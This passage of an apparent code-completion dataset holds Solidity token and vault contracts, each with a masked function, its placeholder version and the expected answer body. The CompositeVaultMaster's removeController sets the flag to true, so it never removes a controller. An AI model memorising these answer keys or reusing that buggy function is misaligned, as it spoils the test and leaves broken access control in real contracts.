contract CompositeVaultMaster { address public governance; address public valueToken = address(0x49E833337ECe7aFE375e44F4E3e8481029218E5c); address public govVault = address(0xceC03a960Ea678A2B6EA350fe0DbD1807B22D875); // 14.0% profit from Value Vaults address public insuranceFund = 0xb7b2Ea8A1198368f950834875047aA7294A2bDAa; // set to Governance Multisig at start address public performanceReward = 0x7Be4D5A99c903C437EC77A20CB6d0688cBB73c7f; // set to deploy wallet at start uint256 public govVaultProfitShareFee = 1400; // 14.0% | VIP-7 (https://yfv.finance/vip-vote/vip_7) uint256 public gasFee = 50; // 0.5% at start and can be set by governance decision uint256 public insuranceFee = 0; // 6% | VIP-10 (to compensate who lost during the exploit on Nov 14 2020) uint256 public withdrawalProtectionFee = 0; // % of withdrawal go back to vault (for auto-compounding) to protect withdrawals mapping(address => address) public bank; mapping(address => bool) public isVault; mapping(address => bool) public isController; mapping(address => bool) public isStrategy; mapping(address => uint) public slippage; // over 10000 constructor(address _valueToken) public { if (_valueToken != address(0)) valueToken = _valueToken; governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setBank(address _vault, address _bank) external { require(msg.sender == governance, "!governance"); bank[_vault] = _bank; } function addVault(address _vault) external { require(msg.sender == governance, "!governance"); isVault[_vault] = true; } function removeVault(address _vault) external { require(msg.sender == governance, "!governance"); isVault[_vault] = false; } function addController(address _controller) external { require(msg.sender == governance, "!governance"); isController[_controller] = true; } function removeController(address _controller) external { require(msg.sender == governance, "!governance"); isController[_controller] = true; } function addStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); isStrategy[_strategy] = true; } function removeStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); isStrategy[_strategy] = false; } function setGovVault(address _govVault) public { require(msg.sender == governance, "!governance"); govVault = _govVault; } function setInsuranceFund(address _insuranceFund) public { require(msg.sender == governance, "!governance"); insuranceFund = _insuranceFund; } function setPerformanceReward(address _performanceReward) public{ require(msg.sender == governance, "!governance"); performanceReward = _performanceReward; } function setGovVaultProfitShareFee(uint256 _govVaultProfitShareFee) public { require(msg.sender == governance, "!governance"); require(_govVaultProfitShareFee <= 3000, "_govVaultProfitShareFee over 30%"); govVaultProfitShareFee = _govVaultProfitShareFee; } function setGasFee(uint256 _gasFee) public { require(msg.sender == governance, "!governance"); require(_gasFee <= 500, "_gasFee over 5%"); gasFee = _gasFee; } function setInsuranceFee(uint256 _insuranceFee) public {<FILL_FUNCTION_BODY> } function setWithdrawalProtectionFee(uint256 _withdrawalProtectionFee) public { require(msg.sender == governance, "!governance"); require(_withdrawalProtectionFee <= 100, "_withdrawalProtectionFee over 1%"); withdrawalProtectionFee = _withdrawalProtectionFee; } function setSlippage(address _token, uint _slippage) external { require(msg.sender == governance, "!governance"); require(_slippage <= 1000, ">10%"); slippage[_token] = _slippage; } function convertSlippage(address _input, address _output) view external returns (uint) { uint _is = slippage[_input]; uint _os = slippage[_output]; return (_is > _os) ? _is : _os; } /** * This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up. * There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens. */ function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external { require(msg.sender == governance, "!governance"); _token.transfer(to, amount); } }
contract CompositeVaultMaster { address public governance; address public valueToken = address(0x49E833337ECe7aFE375e44F4E3e8481029218E5c); address public govVault = address(0xceC03a960Ea678A2B6EA350fe0DbD1807B22D875); // 14.0% profit from Value Vaults address public insuranceFund = 0xb7b2Ea8A1198368f950834875047aA7294A2bDAa; // set to Governance Multisig at start address public performanceReward = 0x7Be4D5A99c903C437EC77A20CB6d0688cBB73c7f; // set to deploy wallet at start uint256 public govVaultProfitShareFee = 1400; // 14.0% | VIP-7 (https://yfv.finance/vip-vote/vip_7) uint256 public gasFee = 50; // 0.5% at start and can be set by governance decision uint256 public insuranceFee = 0; // 6% | VIP-10 (to compensate who lost during the exploit on Nov 14 2020) uint256 public withdrawalProtectionFee = 0; // % of withdrawal go back to vault (for auto-compounding) to protect withdrawals mapping(address => address) public bank; mapping(address => bool) public isVault; mapping(address => bool) public isController; mapping(address => bool) public isStrategy; mapping(address => uint) public slippage; // over 10000 constructor(address _valueToken) public { if (_valueToken != address(0)) valueToken = _valueToken; governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setBank(address _vault, address _bank) external { require(msg.sender == governance, "!governance"); bank[_vault] = _bank; } function addVault(address _vault) external { require(msg.sender == governance, "!governance"); isVault[_vault] = true; } function removeVault(address _vault) external { require(msg.sender == governance, "!governance"); isVault[_vault] = false; } function addController(address _controller) external { require(msg.sender == governance, "!governance"); isController[_controller] = true; } function removeController(address _controller) external { require(msg.sender == governance, "!governance"); isController[_controller] = true; } function addStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); isStrategy[_strategy] = true; } function removeStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); isStrategy[_strategy] = false; } function setGovVault(address _govVault) public { require(msg.sender == governance, "!governance"); govVault = _govVault; } function setInsuranceFund(address _insuranceFund) public { require(msg.sender == governance, "!governance"); insuranceFund = _insuranceFund; } function setPerformanceReward(address _performanceReward) public{ require(msg.sender == governance, "!governance"); performanceReward = _performanceReward; } function setGovVaultProfitShareFee(uint256 _govVaultProfitShareFee) public { require(msg.sender == governance, "!governance"); require(_govVaultProfitShareFee <= 3000, "_govVaultProfitShareFee over 30%"); govVaultProfitShareFee = _govVaultProfitShareFee; } function setGasFee(uint256 _gasFee) public { require(msg.sender == governance, "!governance"); require(_gasFee <= 500, "_gasFee over 5%"); gasFee = _gasFee; } <FILL_FUNCTION> function setWithdrawalProtectionFee(uint256 _withdrawalProtectionFee) public { require(msg.sender == governance, "!governance"); require(_withdrawalProtectionFee <= 100, "_withdrawalProtectionFee over 1%"); withdrawalProtectionFee = _withdrawalProtectionFee; } function setSlippage(address _token, uint _slippage) external { require(msg.sender == governance, "!governance"); require(_slippage <= 1000, ">10%"); slippage[_token] = _slippage; } function convertSlippage(address _input, address _output) view external returns (uint) { uint _is = slippage[_input]; uint _os = slippage[_output]; return (_is > _os) ? _is : _os; } /** * This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up. * There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens. */ function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external { require(msg.sender == governance, "!governance"); _token.transfer(to, amount); } }
require(msg.sender == governance, "!governance"); require(_insuranceFee <= 2000, "_insuranceFee over 20%"); insuranceFee = _insuranceFee;
function setInsuranceFee(uint256 _insuranceFee) public
function setInsuranceFee(uint256 _insuranceFee) public
56247
Dashgold
withdrawTokens
contract Dashgold is ERC20, owned { using SafeMath for uint256; string public name = "Dashgold"; string public symbol = "DASHG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function Dashgold() public { totalSupply = 18900000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Dashgold is ERC20, owned { using SafeMath for uint256; string public name = "Dashgold"; string public symbol = "DASHG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function Dashgold() public { totalSupply = 18900000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } <FILL_FUNCTION> }
require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value);
function withdrawTokens(uint256 _value) public onlyOwner
function withdrawTokens(uint256 _value) public onlyOwner
57774
KishiInu
_getValues
contract KishiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**5 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Kishi Inu'; string private _symbol = 'Kishi'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 10000000 * 10**5 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract KishiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**5 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Kishi Inu'; string private _symbol = 'Kishi'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 10000000 * 10**5 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } <FILL_FUNCTION> function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256)
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256)
7311
python
null
contract python { // Public variables of the token string public name; string public symbol; uint8 public decimals = 1; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( ) public {<FILL_FUNCTION_BODY> } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
contract python { // Public variables of the token string public name; string public symbol; uint8 public decimals = 1; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); <FILL_FUNCTION> /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { 